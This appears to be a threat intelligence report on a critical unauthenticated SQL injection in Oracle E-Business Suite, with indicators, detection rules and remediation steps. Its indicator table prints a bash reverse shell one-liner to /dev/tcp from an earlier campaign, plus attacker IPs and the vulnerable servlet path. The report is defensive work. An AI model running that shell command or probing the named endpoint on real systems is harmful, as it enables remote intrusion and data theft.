TLP:CLEAR Unrestricted public release.

CYBER THREAT INTELLIGENCE REPORT

Oracle E-Business Suite unauthenticated SQL injection probed days after patch

From **Cybersecurity Briefing** · 2026-10-28 to 2026-10-29 (last 24 hours) · Briefing generated 2026-10-29

REPORT ID	VERSION	HANDLING
CTI-20261029-02	1.0 · 2026-10-29 08:36 EDT	TLP:CLEAR
BRIEFING SECTION	**ORIGINAL PUBLISHED**	**LAST UPDATE**
United States	2026-10-28	No update
CVES	**ANALYST**	
CVE-2026-101767 (CVSS 9.8)	Nick Sturgeon	

VULNERABILITY CRITICAL

EXPLOITATION ATTEMPTS OBSERVED (EXPLORATORY PROBING AGAINST DECOYS); NO CONFIRMED COMPROMISE

OVERALL CONFIDENCE: MODERATE

BOTTOM LINE UP FRONT

CVE-2026-101767 is a critical (CVSS 3.1 9.8) flaw in the Core component of Oracle Application Object Library, part of Oracle E-Business Suite (EBS) 12.2.3 through 12.2.15. An attacker with network access over HTTP can exploit it without credentials or user interaction [S2] [S3]. Horizon3.ai reported it to Oracle on 2026-07-24. Its write-up describes an unauthenticated SQL injection in the Thin Client Framework (TCF) servlet at /OA_HTML/AppsTCFServer (class oracle.apps.fnd.tcf.SocketServer), which the default EBS URL firewall allows. The injection lets an attacker run SQL as the APPS database user and, chained further, run operating system commands as the EBS application account [S2]. Oracle fixed the flaw in its October 2026 Critical Patch Update, released 2026-10-20. Oracle describes the impact only as takeover of Application Object Library [S3] [S5].

On 2026-10-27, a week after the patch, the threat intelligence firm Defused reported exploratory exploit attempts against its EBS decoy systems [S1] [S4]. The reporting includes no source IPs, payloads, attempt counts or actor, and no confirmed compromises of real organizations [S4]. As of the 2026-10-28 catalog release the CVE is not in CISA's Known Exploited Vulnerabilities (KEV) catalog [S6]. Its EPSS score was 0.00614 (49th percentile) on 2026-10-28, a value that may lag the new probing [S7]. We found no public proof-of-concept exploit in the sources reviewed [S5].

The risk is high despite the limited evidence so far. EBS has been a repeat target. Actors using the CL0P extortion brand exploited CVE-2025-61882 as a zero-day in 2025 and then mass-emailed extortion demands to executives [S8]. Another unauthenticated EBS flaw, CVE-2026-46817, was exploited weeks after its patch, and Defused also spotted that activity first on its decoys [S1] [S9]. Data at risk includes financial, payroll, HR and procurement records [S2].

Recommended action: apply the October 2026 CPU EBS patches now (My Oracle Support note KA923 lists them) [S2]. Where you cannot patch immediately, remove /OA_HTML/AppsTCFServer from the EBS URL firewall allowlist, restrict the web tier to trusted networks, and hunt for unauthenticated POSTs to that servlet, SQL reconnaissance from the APPS account, unexpected files in $APPLPTMP and /bin/sh spawned by the oracle account through the Concurrent Manager [S1] [S2].

Key judgments

> LIKELY · MODERATE CONFIDENCE
> Exploitation attempts against internet-exposed, unpatched EBS 12.2.x instances will likely grow from exploratory probing into weaponized attempts within the next two to four weeks. A detailed researcher write-up already names the endpoint and class, and the previous two critical EBS flaws were exploited soon after disclosure. [S1] [S2] [S4] [S9]

> ROUGHLY EVEN CHANCE · LOW CONFIDENCE
> CISA will likely add CVE-2026-101767 to the KEV catalog within 30 days if third-party reports of exploitation beyond decoy probing appear. The reporting available today, which is decoy probing only, may not meet the bar on its own. [S1] [S5] [S6]

> UNLIKELY · LOW CONFIDENCE
> A financially motivated data-theft and extortion group, possibly one using the CL0P brand, is unlikely to be publicly tied to exploitation of this specific flaw within the next 30 days. We assess this as a real but lower-probability outcome because of the group's past interest in EBS. [S1] [S8]

> VERY LIKELY · HIGH CONFIDENCE
> Organizations that apply only the interim mitigations (URL firewall and network restriction) and skip the patch are very likely to stay exposed to internal or pivot-based exploitation, because the flaw is reachable from any network segment that can reach the servlet. [S1] [S2]

INDICATORS OF COMPROMISE

No attacker infrastructure (IPs, domains, hashes) has been published for the 2026-10-27 probing. The indicators for CVE-2026-101767 are behavioral and come from Horizon3.ai's advisory as repeated in press coverage (current as of 2026-10-28). The IPs, URLs and email addresses listed last belong to the separate 2025 CVE-2025-61882 campaign. They are included only for retroactive hunting and are not linked to this CVE.

Type	Indicator (defanged)	Context	Provenance	First seen	Source
http-request	`POST /OA_HTML/AppsTCFServer`	Unauthenticated POST requests to the TCF servlet that instantiate oracle.apps.jtf.gantt.server.GanttDataServer, followed by backend database activity. This is the primary exploitation indicator.	REPORTED	2026-10-27	[S1] [S2] [S4]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
other	`oracle.apps.fnd.tcf.SocketServer`	Java class that implements the vulnerable /OA_HTML/AppsTCFServer servlet. Useful for URL firewall review and log or code searches.	REPORTED		[S1] [S2]
other	`oracle.apps.jtf.gantt.server.GanttDataServer`	Class name instantiated through unauthenticated POSTs to AppsTCFServer during exploitation. Seeing it in request bodies or application logs is a high-signal indicator.	REPORTED		[S1] [S2] [S4]
filepath	`$APPLPTMP/`	Unexpected new files in the EBS PL/SQL temp directory (APPLPTMP) are a reported indicator of post-exploitation activity. The physical path depends on the environment; resolve it from the EBS context file.	REPORTED		[S1] [S2]
command	`/bin/sh (parent: Concurrent Manager process, user: oracle)`	The oracle account spawning /bin/sh through the Concurrent Manager to run OS commands is the reported RCE stage.	REPORTED		[S1] [S2] [S4]
other	`SQL reconnaissance by APPS: database version, current user, directory objects`	Reported indicator: reconnaissance queries for database version, current user and directory objects shortly after unauthenticated web requests.	REPORTED		[S1] [S2]
other	`SELECT ... FROM v$version | SYS_CONTEXT('USERENV','CURRENT_USER') | ALL_DIRECTORIES / DBA_DIRECTORIES`	Derived: these are the standard Oracle objects an attacker would query for the reported recon (version, current user, directory objects). Hunt in database audit logs for APPS sessions that issue them outside normal application patterns.	DERIVED		[S2]
ipv4	`200[.]107[.]207[.]26`	HISTORICAL, CVE-2025-61882 campaign (2025, CL0P-branded extortion). Not linked to CVE-2026-101767. For retroactive hunting only.	REPORTED	2025-08-01	[S8] [S10]
ipv4	`161[.]97[.]99[.]49`	HISTORICAL, CVE-2025-61882 campaign attacker IP published by GTIG. Not linked to CVE-2026-101767.	REPORTED		[S8]

Type	Indicator (defanged)	Context	Provenance	First seen	Source
ipv4	`185[.]181[.]60[.]11`	HISTORICAL, IP flagged for GET/POST activity related to CVE-2025-61882. Not linked to CVE-2026-101767.	REPORTED		[S10]
url	`/OA_HTML/SyncServlet`	HISTORICAL, endpoint exploited for unauthenticated RCE in the August 2025 CVE-2025-61882 activity. Not linked to CVE-2026-101767.	REPORTED	2025-08-01	[S8]
url	`/OA_HTML/configurator/UiServlet`	HISTORICAL, endpoint with suspicious activity in July 2025 (2025 EBS campaign). Not linked to CVE-2026-101767.	REPORTED	2025-07-10	[S8]
url	`/OA_HTML/OA[.]jsp?page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG`	HISTORICAL, payload trigger path in the 2025 campaign. A TemplateCode beginning with TMP or DEF is a high-fidelity indicator. Not linked to CVE-2026-101767.	REPORTED	2025-08-01	[S8]
email	`support[@]pubstorm[.]com`	HISTORICAL, contact address in 2025 CL0P-branded EBS extortion emails.	REPORTED	2025-09-29	[S8]
email	`support[@]pubstorm[.]net`	HISTORICAL, contact address in 2025 CL0P-branded EBS extortion emails.	REPORTED	2025-09-29	[S8]
command	`sh -c /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1`	HISTORICAL, reverse shell pattern associated with CVE-2025-61882 exploitation. A similar pattern is plausible after CVE-2026-101767 RCE but has not been reported for it.	REPORTED		[S10]

Indicators are defanged (hxxp, [.], [@]) so they cannot be clicked. "Reported" means stated in a source; "Derived" means inferred by the analyst from the source material and should be validated before blocking.

TACTICS, TECHNIQUES & PROCEDURES (TTPS)

The attacker sends unauthenticated HTTP(S) POST requests to the EBS Thin Client Framework servlet (/OA_HTML/AppsTCFServer), which the default URL firewall allows. The requests instantiate the GanttDataServer class and inject SQL that runs as the highly privileged APPS database user. That access lets the attacker read or change EBS data (finance, payroll, HR, procurement) and query database metadata for reconnaissance. Horizon3.ai reports the SQL access can be chained into operating system command execution as the EBS application account, observable as the oracle user spawning /bin/sh through the Concurrent Manager, with unexpected files appearing in $APPLPTMP [S2]. The activity seen on 2026-10-27 was exploratory probing of decoys. No post-exploitation behavior has been publicly attributed to it [S1] [S4].

MITRE ATT&CK mapping

Tactic	Technique	Procedure observed	Detection opportunity
Reconnaissance	T1595.002 Active Scanning: Vulnerability Scanning	Defused recorded exploratory attempts against the vulnerable endpoint on internet-facing EBS decoys on 2026-10-27, consistent with probing for unpatched hosts. [S1] [S4]	Look for external requests to /OA_HTML/AppsTCFServer, especially from sources with no prior EBS sessions.
Initial Access	T1190 Exploit Public-Facing Application	Unauthenticated POST to /OA_HTML/AppsTCFServer that instantiates GanttDataServer and injects SQL executed as APPS. [S1] [S2]	Web tier (OHS/WebLogic) access logs and WAF: POSTs to AppsTCFServer with no authenticated session, followed by anomalous APPS database activity.
Collection	T1213 Data from Information Repositories	SQL running as APPS can read or modify any application data APPS can access, including finance, payroll, HR and procurement records. [S1] [S2]	Database auditing on APPS: large SELECTs against HR/payroll/AP tables or queries for version, current user and directory objects that do not originate from normal application code paths.
Execution	T1059.004 Command and Scripting Interpreter: Unix Shell	The SQL injection is chained to OS command execution, observed as the oracle account spawning /bin/sh through the Concurrent Manager. [S1] [S2]	EDR or auditd on the EBS application tier: /bin/sh or bash child processes of Concurrent Manager processes running as oracle, especially with network utilities or redirection to /dev/tcp.
Command and Control	T1105 Ingress Tool Transfer	Inferred: unexpected files written to $APPLPTMP after exploitation may be staged payloads or output files. The sources report the files but do not describe their content. [S2]	File integrity monitoring on the resolved $APPLPTMP directory; alert on new executable, script or archive files.

Detection & hunting

Queries are built from the reported behavior and indicators. They are untested; tune field names for your environment.

Requests to Oracle EBS AppsTCFServer servlet (web logs) `SPLUNK SPL`

```
index=web (sourcetype=access_combined OR sourcetype=ohs* OR sourcetype=weblogic*)
uri_path="/OA_HTML/AppsTCFServer*"
| eval external=if(cidrmatch("10.0.0.0/8",src_ip) OR cidrmatch("172.16.0.0/12",src_ip) OR
cidrmatch("192.168.0.0/16",src_ip),"no","yes")
| stats count min(_time) as first max(_time) as last values(method) as methods values(status) as statuses
values(http_user_agent) as uas by src_ip external host
| convert ctime(first) ctime(last)
| sort - count
```

Few legitimate clients use this servlet. Baseline normal internal use first, then alert on any external source or any POST after the servlet has been removed from the URL firewall allowlist. Field names vary by log source.

Shell spawned by Oracle EBS Concurrent Manager `SIGMA`

```
title: Shell Spawned by Oracle EBS Concurrent Manager
status: experimental
logsource:
  product: linux
  category: process_creation
detection:
  selection_parent:
    ParentImage|endswith:
      - '/FNDLIBR'
      - '/FNDSM'
      - '/java'
  selection_user:
    User: 'oracle'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
  condition: selection_parent and selection_user and selection_child
falsepositives:
  - Legitimate concurrent programs of type Host that call shell scripts
level: high
```

Built from the reported indicator that the oracle account spawns /bin/sh through the Concurrent Manager. FNDLIBR/FNDSM parent names and the oracle user name depend on the installation (some sites use applmgr). Tune out known Host concurrent programs.

New files in EBS APPLPTMP directory (Linux MDE) `KQL`

```
DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType in ("FileCreated", "FileRenamed")
| where FolderPath startswith "/usr/tmp" or FolderPath has "applptmp" // replace with the APPLPTMP value from
your EBS context file
| where InitiatingProcessAccountName in~ ("oracle", "applmgr")
| summarize count(), make_set(FileName, 50), make_set(InitiatingProcessCommandLine, 20) by DeviceName,
FolderPath
| order by count_ desc
```

$APPLPTMP is environment-specific (often /usr/tmp or a custom temp path). Compare against normal concurrent request output to cut noise.

Inbound POST to AppsTCFServer from external networks `SURICATA`

```
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"Possible Oracle EBS CVE-2026-101767 probe - POST to
AppsTCFServer"; flow:established,to_server; http.method; content:"POST"; http.uri;
content:"/OA_HTML/AppsTCFServer"; nocase; classtype:attempted-admin; sid:9101767; rev:1;)
```

Requires TLS inspection or deployment behind the TLS terminator. Optionally add a second rule matching 'GanttDataServer' in the request body for higher fidelity.

REMEDIATION ACTIONS

Exposure

Product	Affected	Fixed in	CVE	CVSS	EPSS	CISA KEV	KEV due date
Oracle E-Business Suite: Oracle Application Object Library (Core / Thin Client Framework servlet)	12.2.3 through 12.2.15	October 2026 Critical Patch Update (released 2026-10-20); see My Oracle Support note KA923 for EBS patch availability	CVE-2026-101767	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)	0.00614 (49.3rd percentile, 2026-10-28)	No	N/A

Immediate (0–24 hours)

- Identify all EBS 12.2.x instances (production, test, clones, and any hosted by third parties) and determine whether the web tier (/OA_HTML/) is reachable from the internet or from broad internal segments. `IT OPS` [S2] [S3]
- Apply the October 2026 CPU EBS patches listed in My Oracle Support note KA923, starting with internet-facing instances. `IT OPS` [S2] [S5]
- If patching cannot happen today, remove /OA_HTML/AppsTCFServer (oracle.apps.fnd.tcf.SocketServer) from the EBS URL firewall allowlist and restrict the EBS web tier to trusted networks or VPN. `IT OPS` [S1] [S2]
- Search web tier logs back to at least 2026-07-24 (the private disclosure date) for POSTs to /OA_HTML/AppsTCFServer, and review hits for GanttDataServer and any follow-on database activity. `SOC` [S2] [S4]

Short term (1–7 days)

- Hunt on EBS application hosts for /bin/sh spawned by the oracle account through the Concurrent Manager and for unexpected files in $APPLPTMP. If you find either, preserve evidence and run incident response. `SOC` [S1] [S2]
- Review database audit logs for APPS sessions that query version, current user or directory objects outside normal application behavior. Enable unified auditing on these if it is not on. `SOC` [S2]
- Confirm remediation after patching by re-testing the endpoint (authorized scanner or penetration test). The interim mitigations alone do not replace the patch. `IT OPS` [S2]

- Retro-hunt for the historical 2025 EBS campaign indicators (SyncServlet, UiServlet, TemplatePreviewPG with TMP/DEF template codes, listed IPs) on any EBS instance that was unpatched in 2025. `SOC` [S8]
- Brief executives and finance/HR leaders that extortion emails claiming EBS data theft have been used before. Set a reporting path for such emails. `LEADERSHIP` [S8]

Long term

- Move EBS web tiers behind a reverse proxy, VPN or zero-trust access layer so ERP application servlets are never directly exposed to the internet. `IT OPS` [S1] [S2]
- Adopt a policy of applying Oracle quarterly CPUs for EBS within days for internet-reachable instances, given three critical unauthenticated EBS flaws exploited or probed in about a year. `LEADERSHIP` [S1] [S9]
- Send EBS web, OS and database audit logs to the SIEM with detections for unauthenticated servlet access and Concurrent Manager shell spawning. `SOC` [S2]

Workarounds & compensating controls

- Use the EBS URL firewall to block AppsTCFServer, and add a WAF rule that denies POST requests to /OA_HTML/AppsTCFServer from untrusted sources. `IT OPS` [S1] [S2]
- Limit outbound network access from EBS application and database hosts to required destinations to block reverse shells and data exfiltration. `IT OPS` [S10]
- Raise monitoring on EBS hosts (EDR on the app tier, file integrity monitoring on $APPLPTMP) until patching is verified. `SOC` [S2]

Actions marked with an owner: SOC = security operations, IT Ops = system and network administration, Leadership = risk and communications decisions.

SOURCES

[S1] The Hacker News: Hackers Target Critical Oracle E-Business Suite RCE Flaw Days After Security Patch
Published 2026-10-28 · `B2` Usually reliable, probably true
Briefing source. Reports Defused decoy activity on 2026-10-27, Horizon3.ai indicators, mitigations and the Cl0p/CVE-2025-61882 history. Credits three named Horizon3.ai researchers, while the Horizon3.ai page names none.

[S2] Horizon3.ai: CVE-2026-101767: Oracle E-Business Suite TCF SQL Injection and RCE
Published 2026-10-20 · `A2` Completely reliable, probably true
Original researcher advisory: affected versions, endpoint/class, IOCs, mitigations, KA923 reference. No publication date on the page; date taken from the patch and disclosure timeline. The RCE chain is the researcher's claim and is not independently reproduced.

[S3] CVE Program (MITRE CVE Services): CVE-2026-101767 record
Published 2026-10-20 · `A1` Completely reliable, confirmed by other sources
Primary record: Oracle CNA description, 12.2.3-12.2.15, CVSS 9.8; CISA ADP CWE-306/CWE-287; references Oracle cpuoct2026.

[S4] Cyber Security News: Hackers Actively Exploiting New Oracle EBS RCE Vulnerability
Published 2026-10-28 · `C2` Fairly reliable, probably true
Confirms Defused 'exploratory exploits' on decoys on 2026-10-27. No IPs or counts. States no confirmed compromises. The headline overstates what the body supports.

[S5] Rescana: Oracle E-Business Suite CVE-2026-101767: prepare now
Published 2026-10-21 · `C2` Fairly reliable, probably true
Pre-probing baseline: no exploitation or public PoC as of 2026-10-21, not in KEV, NVD status 'Received'. Notes CVE-2026-46817 was added to KEV on 2026-07-15.

[S6] CISA: Known Exploited Vulnerabilities Catalog (JSON feed)
Published 2026-10-28 · `A1` Completely reliable, confirmed by other sources
Catalog version 2026.10.28. Newest entries (through 2026-10-28) include no Oracle CVE, so CVE-2026-101767 is not listed.

[S7] FIRST: EPSS API: CVE-2026-101767
Published 2026-10-28 · `A1` Completely reliable, confirmed by other sources
EPSS 0.00614, percentile 0.49263.

[S8] Google Threat Intelligence Group / Mandiant: Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign
Published 2025-10-09 · `A1` Completely reliable, confirmed by other sources
Historical context: 2025 CL0P-branded campaign exploiting CVE-2025-61882, its endpoints, IPs and extortion contacts. Attribution to FIN11 not formalized. Does not mention AppsTCFServer.

[S9] CyberScoop: Oracle EBS critical vulnerability exploited
Published 2026-07-01 · `B2` Usually reliable, probably true
Context: Defused observed CVE-2026-46817 exploitation on EBS honeypots on 2026-06-27, weeks after the May patch. About 950 exposed instances, over half in the US (Shadowserver).

[S10] Horizon3.ai: CVE-2025-61882: Oracle E-Business Suite Vulnerability
Published 2025-10-07 · `A2` Completely reliable, probably true
Historical IOCs for CVE-2025-61882 (IPs, reverse shell pattern). Used only for retroactive hunting context.

Grades use the Admiralty scale: letter = source reliability (A completely reliable to F cannot be judged), number = information credibility (1 confirmed to 6 cannot be judged).

MISCELLANEOUS

Timeline

Date	Event	Source
2025-07-10	Suspicious activity against EBS /OA_HTML/configurator/UiServlet, the earliest activity tied to the 2025 CL0P-branded campaign.	[S8]
2025-09-29	CL0P-branded extortion emails claiming EBS data theft start reaching executives.	[S8]
2025-10-04	Oracle issues emergency patch for CVE-2025-61882.	[S8]
2026-06-27	Defused observes exploitation of a different EBS flaw, CVE-2026-46817, on its honeypots weeks after the May patch.	[S9]
2026-07-15	CISA adds CVE-2026-46817 to KEV.	[S5]
2026-07-24	Horizon3.ai reports the TCF SQL injection (later CVE-2026-101767) to Oracle.	[S2]
2026-10-20	Oracle releases the October 2026 CPU fixing CVE-2026-101767, and the CVE record is published.	[S2] [S3]
2026-10-21	Third-party analysis finds no exploitation, no public PoC and no KEV listing.	[S5]
2026-10-27	Defused records exploratory exploit attempts against its EBS decoys.	[S1] [S4]
2026-10-28	Press reports the probing. The CVE is still absent from KEV (catalog 2026.10.28), and EPSS is 0.00614.	[S1] [S6] [S7]

Relevance to Indianapolis, Indiana & managed clients

Oracle EBS is a common ERP platform for large Indiana employers. These include manufacturers and distributors, hospital systems, universities and public-sector bodies that run finance, HR, payroll and procurement on it. Many of these organizations host EBS themselves or through an Oracle-focused partner, and some expose the /OA_HTML/ web tier to the internet for suppliers, employees or self-service portals. In the CVE-2026-46817 episode, more than half of the exposed EBS instances found by Shadowserver were in the United States [S9]. Payroll and HR data is a strong extortion lever for healthcare and education organizations, and the 2025 campaign targeted executives directly with extortion emails [S8]. Smaller businesses rarely run EBS themselves but may depend on suppliers or parent companies that do. For managed IT clients, providers should confirm which clients run EBS 12.2.x, including instances managed by third-party Oracle partners, verify the October 2026 CPU status, apply the URL firewall mitigation where patching is delayed, and add the AppsTCFServer and Concurrent Manager shell detections to monitoring.

Intelligence gaps

- No source IPs, payloads, request counts or user agents have been published for the 2026-10-27 decoy probing. We could not find or open Defused's original post.

- It is unknown whether the probes used a working exploit chain (SQL injection through RCE) or only tested reachability.
- Oracle's October 2026 CPU advisory page returned HTTP 403 and could not be checked directly. Affected versions and CVSS come from the CVE record and Horizon3.ai.
- No actor is linked to the probing, and no link to CL0P/FIN11 or other EBS-focused groups has been reported.
- We have no current count of internet-exposed EBS instances vulnerable to this CVE (for example from Shadowserver or Censys).
- Watch for KEV addition, a public PoC or full technical write-up, vendor or CERT alerts, and any extortion claims that reference EBS.

Other notes

- The CWE classification differs between sources: the CVE record (CISA ADP) lists CWE-306 and CWE-287, while Horizon3.ai lists CWE-89 (SQL injection) and CWE-306. Oracle's own description says only 'takeover of Oracle Application Object Library'. The SQL injection and RCE chain comes from the researcher [S2] [S3] [S5].
- The Hacker News credits Brandon Peterson, Jimi Sebree and Noah King of Horizon3.ai. The Horizon3.ai advisory credits only its attack research team [S1] [S2].
- Some headlines, for example 'Hackers Actively Exploiting', overstate the evidence. The reported activity is exploratory attempts against decoys, not confirmed compromises [S4].
- Actor is set to null. CL0P is named only for the earlier CVE-2025-61882 campaign, and GTIG rated that attribution low to moderate [S8].
- The historical IOCs from the 2025 campaign are included for retroactive hunting only and should not be treated as indicators for CVE-2026-101767.

CTI-20261029-02 v1.0 · Generated 2026-10-29 08:36 EDT from public reporting. Drafted with AI assistance and reviewed by Nick Sturgeon. Verify indicators and actions before operational use. Summaries are in the analyst's own words.

Back to the daily briefing.

TLP:CLEAR Unrestricted public release.